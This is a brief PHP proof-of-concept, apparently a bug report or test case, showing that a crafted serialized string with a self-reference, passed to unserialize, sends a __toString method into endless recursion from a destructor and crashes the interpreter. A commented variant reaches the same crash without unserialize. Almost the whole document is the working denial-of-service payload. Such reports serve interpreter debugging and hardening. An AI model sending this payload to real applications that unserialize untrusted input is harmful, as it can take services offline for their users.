PHP toString DOS

toString_DOS

<?php

class Obj {
	public function __toString() {
		return $this->data.'';
	}
}

class A {
	function __destruct() {
		echo $this->config;
	}
}

unserialize('O:1:"A":1:{s:6:"config";O:3:"Obj":1:{s:4:"data";R:2;}}');

//If you don't consider code with unserialize function call as security issue, use the code below to trigger the bug.

/*
$o1 = new Obj;
$o1->data = &$o1;

$o2 = new A();
$o2->config = $o1;
*/

?>